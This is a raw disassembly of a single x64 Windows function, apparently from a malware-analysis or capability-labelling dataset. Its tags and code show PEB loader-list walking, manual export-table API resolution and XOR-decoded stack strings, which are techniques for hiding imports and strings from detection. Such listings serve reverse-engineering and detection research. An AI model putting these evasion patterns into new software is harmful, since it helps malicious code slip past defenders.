Function at 0x14010c9a0
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x430
mov rax, qword [0x140188020]
xor rax, rsp
mov qword [rsp + 0x420], rax
mov r14, r9
mov qword [rsp + 0x120], r9
mov rsi, r8
mov qword [rsp + 0x1a0], r8
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x330], r8
mov qword [rsp + 0x338], r9
xor r15d, r15d
mov edi, r15d
mov dword [rsp + 0x40], r15d
mov rcx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x14010ca0b
mov rcx, qword [r8]
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x118]
call fcn.1400e9a70
test eax, eax
je 0x14010ca3b
mov rcx, rsi
call fcn.14001e820
nop
mov rcx, r14
call fcn.14001e820
xor al, al
jmp 0x14010dba2
mov cl, 0x6f
mov byte [rsp + 0x80], cl
movdqa xmm0, xmmword [0x140174700]
movdqu xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0xc0], 0xc3015
mov dword [rsp + 0xc4], 0xa060400
mov word [rsp + 0xc8], 0x1c
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14010ca90
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14010ca9f
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rsp + 0x84]
mov r13d, 8
mov r10d, r13d
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14010cac0
lea r9d, [r10 + 0x19]
lea r8, [rsp + 0x84]
lea rdx, [rsp + 0xb0]
call fcn.14011c9b0
mov qword [rsp + 0xa8], rax
movsx ebx, byte [rsp + 0x80]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14010cb49
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14010cb58
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rsp + 0x84]
mov r10, r13
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14010cb70
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x84]
mov rdx, qword [rsp + 0xa8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x14010cbe1
mov rdx, r15
jmp 0x14010cc21
movsx r8d, byte [rsp + 0x80]
movd xmm1, r8d
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 9
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x14010cc11
mov byte [rdx + 0x19], cl
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x110]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9d, 0x80
mov r8d, 0xffffffff
mov rbx, qword [rsp + 0x118]
mov rcx, rbx
call fcn.1400ab1d0
test eax, eax
je 0x14010cc7b
xor edx, edx
mov rcx, rbx
call fcn.1400e6e10
nop
mov rcx, rsi
call fcn.14001e820
nop
mov rcx, r14
call fcn.14001e820
xor al, al
jmp 0x14010dba2
xor ebx, ebx
mov qword [rsp + 0x360], rbx
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rsp + 0x370], xmm0
mov byte [rsp + 0x360], bl
lea esi, [rbx + 0xf]
mov r12, qword [rsp + 0x110]
mov r14d, 2
mov rcx, r12
call fcn.14005b1a0
cmp eax, 0x64
jne 0x14010d218
mov qword [rsp + 0x380], rbx
mov qword [rsp + 0x390], rbx
mov qword [rsp + 0x398], rsi
mov byte [rsp + 0x380], 0
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3b0], rbx
mov qword [rsp + 0x3b8], rsi
mov byte [rsp + 0x3a0], 0
mov qword [rsp + 0x3c0], rbx
mov qword [rsp + 0x3d0], rbx
mov qword [rsp + 0x3d8], rsi
mov byte [rsp + 0x3c0], 0
mov qword [rsp + 0x3e0], rbx
mov qword [rsp + 0x3f0], rbx
mov qword [rsp + 0x3f8], rsi
mov byte [rsp + 0x3e0], 0
mov qword [rsp + 0x400], rbx
mov qword [rsp + 0x410], rbx
mov qword [rsp + 0x418], rsi
mov byte [rsp + 0x400], 0
lea edx, [rax - 0x60]
mov rcx, r12
call fcn.14005c1c0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14010cd71
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.14001ea30
mov edx, r14d
mov rcx, r12
call fcn.14005c1c0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14010cda0
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.14001ea30
mov edx, 3
mov rcx, r12
call fcn.14005c1c0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14010cdd0
mov rdx, rax
lea rcx, [rsp + 0x3c0]
call fcn.14001ea30
mov edx, 5
mov rcx, r12
call fcn.14005c1c0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14010ce00
mov rdx, rax
lea rcx, [rsp + 0x3e0]
call fcn.14001ea30
mov edx, 6
mov rcx, r12
call fcn.14005c1c0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14010ce30
mov rdx, rax
lea rcx, [rsp + 0x400]
call fcn.14001ea30
lea rcx, [rsp + 0x2c0]
call fcn.14010eca0
mov rcx, rax
call fcn.14001caf0
mov r15, rax
lea rcx, [rsp + 0x2f8]
call fcn.14010ebc0
mov rcx, rax
call fcn.14001d3a0
mov r14, rax
lea rdx, [0x14015ff94]
lea rcx, [rsp + 0x130]
call fcn.1400f74e0
mov rcx, rax
call fcn.14001d3a0
mov rsi, rax
lea rcx, [rsp + 0x270]
call fcn.14010ead0
mov rcx, rax
call fcn.14001e2d0
mov rbx, rax
lea rcx, [rsp + 0x80]
call fcn.14010e9e0
mov rcx, rax
call fcn.14001d6f0
mov r8, rax
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x248]
call fcn.14001ed60
nop
lea rdx, [rsp + 0x3e0]
mov rcx, rax
call fcn.14001e600
xor ecx, ecx
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x100], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
or edi, 2
mov rdx, rbx
lea rcx, [rsp + 0xf0]
call fcn.14001e570
xor ebx, ebx
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
or edi, 4
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0xd0]
call fcn.14001e600
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x238], rbx
mov qword [rsp + 0x240], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x228], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x238], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
or edi, 8
mov rdx, rsi
lea rcx, [rsp + 0x228]
call fcn.14001e570
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x220], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x208], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x218], xmm1
mov qword [rax + 0x10], rbx
mov esi, 0xf
mov qword [rax + 0x18], rsi
mov byte [rax], bl
or edi, 0x10
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x208]
call fcn.14001e600
mov qword [rsp + 0x1e8], rbx
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0x200], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1f8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov byte [rax], bl
or edi, 0x20
mov rdx, r14
lea rcx, [rsp + 0x1e8]
call fcn.14001e570
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1c8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1d8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov byte [rax], bl
or edi, 0x40
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x1c8]
call fcn.14001e600
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov byte [rax], bl
bts edi, 7
mov rdx, r15
lea rcx, [rsp + 0x48]
call fcn.14001e570
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1b8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov byte [rax], bl
or edi, 0x101
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x48]
call fcn.14001e820
nop
lea rcx, [rsp + 0x1c8]
call fcn.14001e820
nop
lea rcx, [rsp + 0x1e8]
call fcn.14001e820
nop
lea rcx, [rsp + 0x208]
call fcn.14001e820
nop
lea rcx, [rsp + 0x228]
call fcn.14001e820
nop
lea rcx, [rsp + 0xd0]
call fcn.14001e820
nop
lea rcx, [rsp + 0xf0]
call fcn.14001e820
nop
lea rcx, [rsp + 0x248]
call fcn.14001e820
nop
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x360]
call fcn.14001e600
nop
lea rcx, [rsp + 0x1a8]
call fcn.14001e820
nop
lea rcx, [rsp + 0x400]
call fcn.14001e820
lea rcx, [rsp + 0x3e0]
call fcn.14001e820
lea rcx, [rsp + 0x3c0]
call fcn.14001e820
lea rcx, [rsp + 0x3a0]
call fcn.14001e820
lea rcx, [rsp + 0x380]
call fcn.14001e820
jmp 0x14010cca8
mov eax, 0x6b
mov word [rsp + 0x80], ax
mov dword [rsp + 0xb0], 0x1f0045
mov dword [rsp + 0xb4], 0x1f0013
xor eax, eax
mov word [rsp + 0xb8], ax
movsx ebx, byte [rsp + 0x80]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14010d265
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14010d274
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor r14d, r14d
mov edx, r14d
lea r8, [rsp + 0x84]
mov r9, r13
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14010d290
mov r9d, r13d
lea r8, [rsp + 0x84]
lea rdx, [rsp + 0xb0]
call fcn.14011c9b0
mov qword [rsp + 0xa8], rax
movsx ebx, byte [rsp + 0x80]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14010d314
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14010d323
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rsp + 0x84]
mov r9, r13
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14010d340
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x84]
mov rdx, qword [rsp + 0xa8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x14010d3ad
mov rdx, r14
jmp 0x14010d3c9
movzx eax, word [rsp + 0x80]
xor word [rdx], ax
xor word [rdx + 2], ax
xor word [rdx + 4], ax
xor word [rdx + 6], ax
mov word [rdx + 8], r14w
lea rcx, [rsp + 0xd0]
call fcn.140102060
mov qword [rsp + 0x190], rax
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x248]
call fcn.14001e730
mov r13, rax
mov qword [rsp + 0x70], rax
mov r12, rax
cmp qword [rax + 0x18], 0x10
jb 0x14010d408
mov r12, qword [rax]
lea rcx, [rsp + 0x80]
call fcn.14010ed90
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov ebx, 0x5a4d
cmp qword [rdi + 0x60], 0
je 0x14010d515
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14010d507
cmp word [r11], bx
jne 0x14010d512
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14010d512
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14010d512
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14010d502
nop
xor dl, dl
mov eax, dword [r9]
add rax, r11
cmp byte [rax], dl
je 0x14010d4f6
mov r8, rsi
sub r8, rax
movzx ecx, byte [r8 + rax]
test cl, cl
je 0x14010d4f2
cmp byte [rax], cl
jne 0x14010d4f6
mov dl, 1
inc rax
cmp byte [rax], 0
jne 0x14010d4c2
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
mov ebx, 0x5a4d
xor r14d, r14d
jmp 0x14010d518
test dl, dl
jne 0x14010d4d9
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14010d4b0
mov ebx, 0x5a4d
cmp qword [rdi + 0x60], 0
jne 0x14010d450
xor r14d, r14d
mov rax, r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0xffffffff
mov r8, r12
xor edx, edx
mov ecx, 0xfde9
call rax
mov dword [rsp + 0x68], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rsp + 0x48]
call fcn.14001e470
or dword [rsp + 0x40], 0x200
lea r12, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae r12, qword [rsp + 0x48]
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x18], 0x10
jb 0x14010d570
mov r13, qword [rax]
lea rcx, [rsp + 0x270]
call fcn.14010ee80
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14010d671
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14010d65d
cmp word [r11], bx
jne 0x14010d66e
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14010d66e
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14010d66e
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14010d65d
nop
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x14010d651
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x14010d64d
cmp byte [rcx], al
jne 0x14010d651
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14010d622
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x14010d674
test dl, dl
jne 0x14010d639
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14010d610
cmp qword [rdi + 0x60], 0
je 0x14010d66e
mov ebx, 0x5a4d
jmp 0x14010d5b0
xor r14d, r14d
mov rax, r14
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], r12
mov r9d, 0xffffffff
mov r8, r13
xor edx, edx
mov ecx, 0xfde9
call rax
nop
mov rcx, qword [rsp + 0x70]
call fcn.14001e820
mov eax, 0x64
mov word [rsp + 0x130], ax
mov dword [rsp + 0x160], 0xd0022
mov dword [rsp + 0x164], 0x10016
mov dword [rsp + 0x168], 0xb0002
mov dword [rsp + 0x16c], 0x38001c
lea esi, [rax - 0x5d]
mov dword [rsp + 0x170], 0xb0007
mov dword [rsp + 0x174], 0xf000b
mov dword [rsp + 0x178], 0x1000d
mov dword [rsp + 0x17c], 0x490017
xor eax, eax
mov word [rsp + 0x180], ax
movsx ebx, byte [rsp + 0x130]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14010d72e
lea edx, [rsi + 0x7d]
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14010d73d
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rsp + 0x134]
mov edi, 8
mov r9d, edi
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x14010d760
mov r9d, 0x20
lea r8, [rsp + 0x134]
lea rdx, [rsp + 0x160]
call fcn.14011c9b0
mov qword [rsp + 0x158], rax
movsx ebx, byte [rsp + 0x130]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14010d7e7
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14010d7f6
mov edx, 0x9d
call fcn.140128630
imul r9d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rsp + 0x134]
nop dword [rax + rax]
mov eax, r9d
shr eax, 0x18
xor eax, r9d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub rdi, 1
jne 0x14010d810
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x134]
mov rdx, qword [rsp + 0x158]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x14010d87d
mov rdx, r14
jmp 0x14010d8c1
mov rcx, r14
movsx eax, word [rsp + 0x130]
movd xmm2, eax
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rdx + rcx*2]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdx + rcx*2], xmm1
add rcx, 8
cmp rcx, 0x10
jb 0x14010d8a0
mov word [rdx + 0x20], r14w
lea rcx, [rsp + 0xf0]
call fcn.140102060
nop
lea r9, [rsp + 0x48]
mov r8, rax
lea rcx, [rsp + 0x1a8]
call fcn.14010f1c0
or dword [rsp + 0x40], 0x400
mov r9, qword [rsp + 0x190]
lea r8, [rsp + 0x1a8]
lea rcx, [rsp + 0x340]
call fcn.14010f1c0
nop
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 8
jb 0x14010d953
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14010d94d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010dbc5
call fcn.14012b910
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 8
jb 0x14010d99b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14010d996
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010dbcb
call fcn.14012b910
mov qword [rsp + 0x100], r14
mov qword [rsp + 0x108], rsi
mov word [rsp + 0xf0], r14w
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14010d9f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14010d9f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010dbd1
call fcn.14012b910
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x48], r14w
mov rdx, qword [rsp + 0xe8]
cmp rdx, 8
jb 0x14010da4e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14010da49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010dbd7
call fcn.14012b910
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], rsi
mov word [rsp + 0xd0], r14w
lea r8, [rsp + 0x360]
cmp qword [rsp + 0x378], 0x10
cmovae r8, qword [rsp + 0x360]
lea rdx, [rsp + 0x340]
cmp qword [rsp + 0x358], 8
cmovae rdx, qword [rsp + 0x340]
mov rax, qword [rsp + 0x198]
test rax, rax
jne 0x14010daaf
mov eax, 0x10000
jmp 0x14010dad4
cmp dword [rax], 2
je 0x14010dabb
mov eax, 0x80000
jmp 0x14010dad4
mov dword [rsp + 0x20], 3
mov r9d, dword [rsp + 0x370]
mov rcx, qword [rax + 8]
call fcn.140125e10
mov dword [0x14018df3c], eax
mov rcx, qword [rsp + 0x110]
call fcn.14005a200
xor edx, edx
mov rcx, qword [rsp + 0x118]
call fcn.1400e6e10
nop
mov rdx, qword [rsp + 0x358]
cmp rdx, 8
jb 0x14010db3f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14010db3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010dbdd
call fcn.14012b910
mov qword [rsp + 0x350], r14
mov qword [rsp + 0x358], rsi
mov word [rsp + 0x340], r14w
lea rcx, [rsp + 0x360]
call fcn.14001e820
nop
mov rcx, qword [rsp + 0x1a0]
call fcn.14001e820
nop
mov rcx, qword [rsp + 0x120]
call fcn.14001e820
mov al, 1
jmp 0x14010dba2
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.14012b8f0
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140133e80
nop
call fcn.140133e80
nop
call fcn.140133e80
nop
call fcn.140133e80
nop
call fcn.140133e80
int3